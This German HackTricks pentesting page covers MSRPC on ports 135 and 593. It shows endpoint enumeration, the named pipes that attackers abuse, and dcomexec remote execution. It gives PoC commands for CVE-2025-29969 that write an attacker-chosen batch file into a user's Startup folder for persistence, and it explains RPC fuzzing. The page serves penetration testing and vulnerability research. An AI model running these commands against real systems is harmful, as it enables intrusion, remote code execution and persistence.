135, 593 - Pentesting MSRPC
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Das Microsoft Remote Procedure Call (MSRPC)-Protokoll, ein Client-Server-Modell, das einem Programm ermöglicht, einen Dienst von einem Programm auf einem anderen Computer anzufordern, ohne die Details des Netzwerks verstehen zu müssen, wurde ursprünglich aus Open-Source-Software abgeleitet und später von Microsoft weiterentwickelt und urheberrechtlich geschützt.
Auf den RPC endpoint mapper kann über den TCP- und UDP-Port 135 zugegriffen werden, über SMB auf TCP 139 und 445 (with a null or authenticated session) sowie als Webservice auf TCP-Port 593.
135/tcp open msrpc Microsoft Windows RPC
Wie funktioniert MSRPC?
Vom Client ausgelöst umfasst der MSRPC-Prozess das Aufrufen einer lokalen Stub-Prozedur, die dann mit der Client-Runtime-Bibliothek interagiert, um die Anfrage vorzubereiten und an den Server zu übermitteln. Dazu gehört die Konvertierung von Parametern in ein standardisiertes Network Data Representation-Format. Die Wahl des Transportprotokolls wird von der Runtime-Bibliothek bestimmt, wenn der Server entfernt ist, wodurch sichergestellt wird, dass der RPC über den Netzwerkstack zugestellt wird.

Identifizierung exponierter RPC-Dienste
Die Exposition von RPC-Diensten über TCP, UDP, HTTP und SMB kann durch Abfragen des RPC-Locator-Dienstes und einzelner Endpunkte ermittelt werden. Tools wie rpcdump erleichtern die Identifizierung einzigartiger RPC-Dienste, die durch IFID-Werte gekennzeichnet sind, und offenbaren Service-Details sowie Kommunikationsbindungen:
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
Der Zugriff auf den RPC-Locator-Dienst erfolgt über bestimmte Protokolle: ncacn_ip_tcp und ncadg_ip_udp für den Zugriff über Port 135, ncacn_np für SMB-Verbindungen und ncacn_http für webbasierte RPC-Kommunikation. Die folgenden Befehle veranschaulichen die Verwendung von Metasploit-Modulen, um MSRPC-Dienste zu prüfen und mit ihnen zu interagieren, wobei der Schwerpunkt hauptsächlich auf Port 135 liegt:
use auxiliary/scanner/dcerpc/endpoint_mapper
use auxiliary/scanner/dcerpc/hidden
use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135
Alle Optionen außer tcp_dcerpc_auditor sind speziell dafür ausgelegt, MSRPC auf Port 135 anzugreifen.
Bemerkenswerte RPC-Schnittstellen
- IFID: 12345778-1234-abcd-ef00-0123456789ab
- Named Pipe:
\pipe\lsarpc - Description: LSA-Schnittstelle, wird verwendet, um Benutzer aufzulisten.
- IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
- Named Pipe:
\pipe\lsarpc - Description: LSA Directory Services (DS)-Schnittstelle, wird verwendet, um Domänen und Vertrauensstellungen aufzulisten.
- IFID: 12345778-1234-abcd-ef00-0123456789ac
- Named Pipe:
\pipe\samr - Description: LSA SAMR-Schnittstelle, wird verwendet, um auf öffentliche SAM-Datenbankelemente (z. B. Benutzernamen) zuzugreifen und das Brute-Forcen von Benutzerpasswörtern unabhängig von der Kontosperrungsrichtlinie zu ermöglichen.
- IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
- Named Pipe:
\pipe\atsvc - Description: Task Scheduler, wird verwendet, um Befehle remote auszuführen.
- IFID: 338cd001-2244-31f1-aaaa-900038001003
- Named Pipe:
\pipe\winreg - Description: Remote registry service, wird verwendet, um die System-Registry zu lesen und zu ändern.
- IFID: 367abb81-9844-35f1-ad32-98f038001003
- Named Pipe:
\pipe\svcctl - Description: Service Control Manager und Serverdienste, werden verwendet, um Dienste remote zu starten/stoppen und Befehle auszuführen.
- IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
- Named Pipe:
\pipe\srvsvc - Description: Service Control Manager und Serverdienste, werden verwendet, um Dienste remote zu starten/stoppen und Befehle auszuführen.
- IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
- Named Pipe:
\pipe\epmapper - Description: DCOM-Schnittstelle, wird für brute-force password grinding und Informationsbeschaffung via WM verwendet.
MS-EVEN (EventLog Remoting) Primitiven
Die MS-EVEN RPC-Schnittstelle (Named Pipe \pipe\even) stellt Eventlog-Operationen bereit. SafeBreach’s CVE-2025-29969 (EventLog-in) Analyse zeigt einen TOCTOU-Fehler in MS-EVEN, der es einem authentifizierten, niedrig privilegierten Benutzer erlaubt, eine entfernte, beliebige Dateischreiboperation auf dem Ziel auszulösen: vom Angreifer gewählte Inhalte werden in einen vom Angreifer gewählten Pfad geschrieben, ohne dass Administratorrechte für den Remote-Schreibvorgang erforderlich sind.
Betriebsablauf (PoC-Workflow): Platziere eine gültige EVTX zusammen mit deinem Payload auf einem SMB-Share, und race dann die MS-EVEN-Logik, sodass das Ziel die SMB-gehostete Datei abruft und in den ausgewählten Pfad schreibt.
impacket-smbserver -smb2support Share /tmp/safebreach
Der veröffentlichte PoC verwendet einen hartkodierten SMB-Share-Namen (Share), daher müssen Sie beim Ändern auch das Skript aktualisieren.
python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\Users\lowuser\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\target.bat"
Eine häufige Kette besteht darin, sich in den benutzerspezifischen Startup-Ordner zu platzieren, um Persistenz und Ausführung beim nächsten Logon zu erreichen (die Ausführung erfolgt im Kontext dieses Benutzers).
MS-EVEN CreateFile-ähnliche Primitive für recon
MS-EVEN bietet außerdem eine Datei öffnen/erstellen-Primitive (im PoC als CreateFile beschrieben), die von jedem authentifizierten Benutzer verwendet werden kann, um zu prüfen, ob eine entfernte Datei oder ein Verzeichnis existiert. Dies ist nützlich für die Software-Erkennung, indem gängige Installationspfade überprüft werden (z. B. C:\Program Files\<Vendor>):
python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"
Result:
FILE_EXISTS_AND_IS_DIRECTORY
Identifying IP addresses
Mit https://github.com/mubix/IOXIDResolver, das aus Airbus research stammt, ist es möglich, die ServerAlive2-Methode innerhalb der IOXIDResolver-Schnittstelle auszunutzen.
Diese Methode wurde verwendet, um Schnittstelleninformationen als IPv6-Adresse von der HTB-Box APT zu erhalten. Siehe here für den 0xdf APT writeup; er enthält eine alternative Methode mit rpcmap.py von Impacket und stringbinding (siehe oben).
Einen RCE mit gültigen Zugangsdaten ausführen
Es ist möglich, Remote-Code auf einem System auszuführen, wenn die Zugangsdaten eines gültigen Benutzers verfügbar sind, mithilfe von dcomexec.py aus dem impacket framework.
Denke daran, die verschiedenen verfügbaren Objekte auszuprobieren
- ShellWindows
- ShellBrowserWindow
- MMC20
Port 593
Das rpcdump.exe aus rpctools kann mit diesem Port interagieren.
Automatisiertes Fuzzing von MSRPC-Schnittstellen
MS-RPC-Schnittstellen bieten eine große und oft undokumentierte Angriffsfläche. Das Open-Source MS-RPC-Fuzzer PowerShell-Modul baut auf James Forshaw’s NtObjectManager auf, um dynamisch RPC-Client-Stubs aus den bereits in Windows-Binärdateien vorhandenen Schnittstellen-Metadaten zu erstellen. Sobald ein Stub existiert, kann das Modul jede Prozedur mit mutierten Eingaben bombardieren und das Ergebnis protokollieren, wodurch reproduzierbares, groß angelegtes Fuzzing von RPC-Endpunkten möglich wird, ohne eine einzige Zeile IDL zu schreiben.
1. Bestandsaufnahme der Schnittstellen
# Import the module (download / git clone first)
Import-Module .\MS-RPC-Fuzzer.psm1
# Parse a single binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output
# Or crawl the whole %SystemRoot%\System32 directory
Get-RpcServerData -OutPath .\output
Get-RpcServerData extrahiert die UUID, Version, Binding-Strings (named-pipe / TCP / HTTP) und vollständige Prozedurprototypen für jede Schnittstelle, die es findet, und speichert sie in rpcServerData.json.
2. Führe den fuzzer aus
'.\output\rpcServerData.json' |
Invoke-RpcFuzzer -OutPath .\output `
-MinStrLen 100 -MaxStrLen 1000 `
-MinIntSize 9999 -MaxIntSize 99999
Relevante Optionen:
-MinStrLen/-MaxStrLen– Größenspanne für erzeugte Zeichenketten-MinIntSize/-MaxIntSize– Wertebereich für mutierte Integer (nützlich für Überlauf-Tests)-Sorted– Prozeduren in einer Reihenfolge ausführen, die Parameterabhängigkeiten respektiert, sodass Ausgaben eines Aufrufs als Eingaben des nächsten dienen können (erhöht drastisch erreichbare Pfade)
Der fuzzer implementiert 2 Strategien:
- Default fuzzer – zufällige primitive Werte + Standardinstanzen für komplexe Typen
- Sorted fuzzer – abhängigkeitsbewusste Reihenfolge (siehe
docs/Procedure dependency design.md)
Jeder Aufruf wird atomar in log.txt geschrieben; nach einem Absturz zeigt die letzte Zeile sofort die verantwortliche Prozedur an. Das Ergebnis jedes Aufrufs wird außerdem in drei JSON-Dateien kategorisiert:
allowed.json– Aufruf erfolgreich und Daten zurückgegebendenied.json– Server antwortete mit Access Deniederror.json– jeder andere Fehler / Absturz
3. Visualisiere mit Neo4j
'.\output\allowed.json' |
Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j
Import-DataToNeo4j konvertiert die JSON-Artefakte in eine Graphstruktur, wobei:
- RPC-Server, Schnittstellen und Prozeduren sind Knoten
- Interaktionen (
ALLOWED,DENIED,ERROR) sind Beziehungen
Cypher-Abfragen können dann verwendet werden, um schnell gefährliche Prozeduren zu identifizieren oder die genaue Aufrufkette, die einem Absturz vorausging, erneut abzuspielen.
⚠️ Der Fuzzer ist destruktiv: erwarte Service-Abstürze und sogar BSODs – führe ihn immer in einem isolierten VM-Snapshot aus.
Automatisierte Schnittstellenaufzählung & dynamische Client-Generierung (NtObjectManager)
PowerShell-Guru James Forshaw hat die meisten Windows RPC-Interna im Open–Source-Modul NtObjectManager offengelegt. Damit kannst du jede RPC-Server-DLL/EXE in Sekunden in einen voll funktionsfähigen Client-Stub verwandeln – kein IDL, MIDL oder manuelles Unmarshalling erforderlich.
# Install the module once
Install-Module NtObjectManager -Force
# Parse every RPC interface exported by the target binary
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures
# Inspect a single procedure (opnum 0)
$rpcinterfaces[0].Procedures[0] | Format-List *
Die typische Ausgabe zeigt die Parametertypen genau so an, wie sie in MIDL erscheinen (z. B. FC_C_WSTRING, FC_LONG, FC_BIND_CONTEXT).
Sobald Sie die Schnittstelle kennen, können Sie einen sofort kompilierbaren C#-Client generieren:
# Reverse the MS-EFSR (EfsRpc*) interface into C#
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs
Im erzeugten Stub findest du Methoden wie:
public int EfsRpcOpenFileRaw(out Marshal.NdrContextHandle ctx, string FileName, int Flags) {
// marshals parameters & calls opnum 0
}
Der PowerShell-Helfer Get-RpcClient kann ein interaktives Client-Objekt erstellen, sodass Sie die Prozedur sofort aufrufen können:
$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
-AuthenticationLevel PacketPrivacy `
-AuthenticationType WinNT # NTLM auth
# Invoke the procedure → returns an authenticated context handle
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\\127.0.0.1\test", 0)
Authentication (Kerberos / NTLM) and encryption levels (PacketIntegrity, PacketPrivacy, …) can be supplied directly via the Connect-RpcClient cmdlet – ideal for bypassing Security Descriptors that protect high-privilege named pipes.
Context-Aware RPC Fuzzing (MS-RPC-Fuzzer)
Statisches Interface-Wissen ist nützlich, aber wirklich benötigt man coverage-guided fuzzing, das context handles und komplexe Parameterketten versteht. Das Open-Source‑Projekt MS-RPC-Fuzzer automatisiert genau diesen Workflow:
- Enumerate every interface/procedure exported by the target binary (
Get-RpcServer). - Generate dynamic clients for each interface (
Format-RpcClient). - Randomise input parameters (wide strings length, integer ranges, enums) while respecting the original NDR type.
- Track context handles returned by one call to feed follow-up procedures automatically.
- Fire high-volume calls against the chosen transport (ALPC, TCP, HTTP or named pipe).
- Log exit statuses / faults / timeouts and export a Neo4j import file to visualise interface → procedure → parameter relationships and crash clusters.
Example run (named–pipe target):
Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
-MinLen 1 -MaxLen 0x400 `
-Iterations 100000 `
-OutDir .\results
Ein einzelner out-of-bounds write oder eine unerwartete exception wird sofort mit der genauen opnum + dem gefuzzten Payload, der sie ausgelöst hat, angezeigt – perfekter Ausgangspunkt für einen stabilen proof-of-concept exploit.
⚠️ Viele RPC-Services werden in Prozessen ausgeführt, die als NT AUTHORITY\SYSTEM laufen. Jede memory-safety-Schwachstelle hier führt normalerweise zu local privilege escalation oder (bei Exposition über SMB/135) remote code execution.
Referenzen
- EventLogin-CVE-2025-29969 (SafeBreach-Labs)
- EventLog-in: Propagating With Weak Credentials Using the Eventlog Service in Microsoft Windows
- Automating MS-RPC vulnerability research (2025, Incendium.rocks)
- MS-RPC-Fuzzer – context-aware RPC fuzzer
- NtObjectManager PowerShell module
- https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
- https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/
- https://0xffsec.com/handbook/services/msrpc/
- MS-RPC-Fuzzer (GitHub)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


